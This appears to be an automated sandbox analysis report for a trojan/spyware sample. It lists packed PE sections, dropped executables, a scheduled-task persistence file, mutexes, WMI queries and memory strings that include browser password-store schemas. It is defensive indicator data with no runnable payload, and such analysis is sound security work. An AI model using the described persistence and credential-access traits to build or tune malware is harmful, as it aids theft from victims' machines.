memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_86f4d0e5-3
Source: 88edf6a100.exe, 0000001D.00000000.3069044721.0000000000532000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_62051681-7
Source: 88edf6a100.exe, 0000001D.00000000.3069044721.0000000000532000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_fab78018-e

PE file contains section with special chars

Source: g4Cyr2T5jq.exe	Static PE information: section name:
Source: g4Cyr2T5jq.exe	Static PE information: section name: .idata
Source: g4Cyr2T5jq.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: f84005b97f.exe.6.dr	Static PE information: section name:
Source: f84005b97f.exe.6.dr	Static PE information: section name: .rsrc
Source: f84005b97f.exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 7e96f85771.exe.6.dr	Static PE information: section name:
Source: 7e96f85771.exe.6.dr	Static PE information: section name: .rsrc
Source: 7e96f85771.exe.6.dr	Static PE information: section name: .idata
Source: 7e96f85771.exe.6.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C90B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	8_2_6C90B700
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C90B8C0 rand_s,NtQueryVirtualMemory,	8_2_6C90B8C0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C90B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	8_2_6C90B910
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8AF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	8_2_6C8AF280

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00E8E530	6_2_00E8E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00E8E530	6_2_00E8E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC78BB	6_2_00EC78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC8860	6_2_00EC8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC7049	6_2_00EC7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00E84DE0	6_2_00E84DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC31A8	6_2_00EC31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC2D10	6_2_00EC2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC779B	6_2_00EC779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00E84B30	6_2_00E84B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EB7F36	6_2_00EB7F36
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007E0228	7_2_007E0228
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_0080E8A0	7_2_0080E8A0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007DA850	7_2_007DA850
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007E2030	7_2_007E2030
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_0081A0D0	7_2_0081A0D0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007D5160	7_2_007D5160
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007DE1A0	7_2_007DE1A0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_00814A40	7_2_00814A40
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007DA300	7_2_007DA300
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007FC470	7_2_007FC470
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007FCCD0	7_2_007FCCD0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007D7CA4	7_2_007D7CA4
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007E049B	7_2_007E049B
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007E4487	7_2_007E4487
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007FFD10	7_2_007FFD10
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007EC5F0	7_2_007EC5F0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007D35B0	7_2_007D35B0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007D8590	7_2_007D8590
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007E6EBF	7_2_007E6EBF
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007DBEB0	7_2_007DBEB0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 7_2_007DAF10	7_2_007DAF10
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8A35A0	8_2_6C8A35A0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8B6C80	8_2_6C8B6C80
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C9034A0	8_2_6C9034A0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C90C4A0	8_2_6C90C4A0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8B64C0	8_2_6C8B64C0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8CD4D0	8_2_6C8CD4D0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8AD4E0	8_2_6C8AD4E0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8E6CF0	8_2_6C8E6CF0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C91AC00	8_2_6C91AC00
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8E5C10	8_2_6C8E5C10
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8F2C10	8_2_6C8F2C10
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C91542B	8_2_6C91542B
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8B5440	8_2_6C8B5440
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C91545C	8_2_6C91545C
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8E0DD0	8_2_6C8E0DD0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C9085F0	8_2_6C9085F0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8BFD00	8_2_6C8BFD00
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8CED10	8_2_6C8CED10
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8D0512	8_2_6C8D0512
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C90E680	8_2_6C90E680
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8C5E90	8_2_6C8C5E90
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C904EA0	8_2_6C904EA0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C9176E3	8_2_6C9176E3
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8ABEF0	8_2_6C8ABEF0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8BFEF0	8_2_6C8BFEF0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8F5600	8_2_6C8F5600
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8E7E10	8_2_6C8E7E10
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C909E30	8_2_6C909E30
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8F2E4E	8_2_6C8F2E4E
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8C4640	8_2_6C8C4640
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8C9E50	8_2_6C8C9E50
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8E3E50	8_2_6C8E3E50
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C916E63	8_2_6C916E63
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8AC670	8_2_6C8AC670
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8F77A0	8_2_6C8F77A0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8ADFE0	8_2_6C8ADFE0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8D6FF0	8_2_6C8D6FF0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8B9F00	8_2_6C8B9F00
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8E7710	8_2_6C8E7710
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8D60A0	8_2_6C8D60A0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C9150C7	8_2_6C9150C7
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8CC0E0	8_2_6C8CC0E0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8E58E0	8_2_6C8E58E0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8B7810	8_2_6C8B7810
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8EB820	8_2_6C8EB820
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8F4820	8_2_6C8F4820
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8C8850	8_2_6C8C8850
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8CD850	8_2_6C8CD850
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8EF070	8_2_6C8EF070
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C902990	8_2_6C902990
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8E5190	8_2_6C8E5190
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8AC9A0	8_2_6C8AC9A0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8DD9B0	8_2_6C8DD9B0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8CA940	8_2_6C8CA940
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C91B170	8_2_6C91B170
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8BD960	8_2_6C8BD960
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8FB970	8_2_6C8FB970
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C91BA90	8_2_6C91BA90
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C912AB0	8_2_6C912AB0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8A22A0	8_2_6C8A22A0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8D4AA0	8_2_6C8D4AA0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8BCAB0	8_2_6C8BCAB0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8E8AC0	8_2_6C8E8AC0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8C1AF0	8_2_6C8C1AF0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8EE2F0	8_2_6C8EE2F0
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8E9A60	8_2_6C8E9A60
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8AF380	8_2_6C8AF380
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C9153C8	8_2_6C9153C8
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8ED320	8_2_6C8ED320
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8A5340	8_2_6C8A5340
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8BC370	8_2_6C8BC370

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: String function: 007ED300 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00E97A00 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: String function: 6C8E94D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: String function: 6C8DCBE8 appears 134 times

Source: g4Cyr2T5jq.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: g4Cyr2T5jq.exe	Static PE information: Section: ZLIB complexity 0.9978818971389646
Source: g4Cyr2T5jq.exe	Static PE information: Section: ordjlgkm ZLIB complexity 0.9944651967930029
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9978818971389646
Source: skotes.exe.0.dr	Static PE information: Section: ordjlgkm ZLIB complexity 0.9944651967930029
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9995423370462047
Source: f84005b97f.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9995423370462047
Source: random[1].exe0.6.dr	Static PE information: Section: ypqgsygb ZLIB complexity 0.9948929706531668
Source: 7e96f85771.exe.6.dr	Static PE information: Section: ypqgsygb ZLIB complexity 0.9948929706531668

Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp, 7e96f85771.exe, 00000008.00000003.2874827283.00000000051B0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@68/46@76/12

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

Code function: 8_2_6C907030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

8_2_6C907030

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7160:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1052:120:WilError_03

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7e96f85771.exe, 00000008.00000002.3210049328.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000002.3211531901.000000006CADF000.00000002.00000001.01000000.00000016.sdmp, 7e96f85771.exe, 00000008.00000002.3194324257.000000001D912000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 7e96f85771.exe, 00000008.00000002.3210049328.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000002.3211531901.000000006CADF000.00000002.00000001.01000000.00000016.sdmp, 7e96f85771.exe, 00000008.00000002.3194324257.000000001D912000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 7e96f85771.exe, 00000008.00000002.3210049328.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000002.3211531901.000000006CADF000.00000002.00000001.01000000.00000016.sdmp, 7e96f85771.exe, 00000008.00000002.3194324257.000000001D912000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 7e96f85771.exe, 00000008.00000002.3210049328.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000002.3211531901.000000006CADF000.00000002.00000001.01000000.00000016.sdmp, 7e96f85771.exe, 00000008.00000002.3194324257.000000001D912000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 7e96f85771.exe, 00000008.00000002.3210049328.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000002.3211531901.000000006CADF000.00000002.00000001.01000000.00000016.sdmp, 7e96f85771.exe, 00000008.00000002.3194324257.000000001D912000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 7e96f85771.exe, 00000008.00000002.3210049328.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000002.3194324257.000000001D912000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 7e96f85771.exe, 00000008.00000002.3210049328.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000002.3211531901.000000006CADF000.00000002.00000001.01000000.00000016.sdmp, 7e96f85771.exe, 00000008.00000002.3194324257.000000001D912000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 7e96f85771.exe, 00000008.00000003.3012697367.000000001D807000.00000004.00000020.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000003.2984665345.000000001D814000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 7e96f85771.exe, 00000008.00000002.3210049328.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000002.3194324257.000000001D912000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
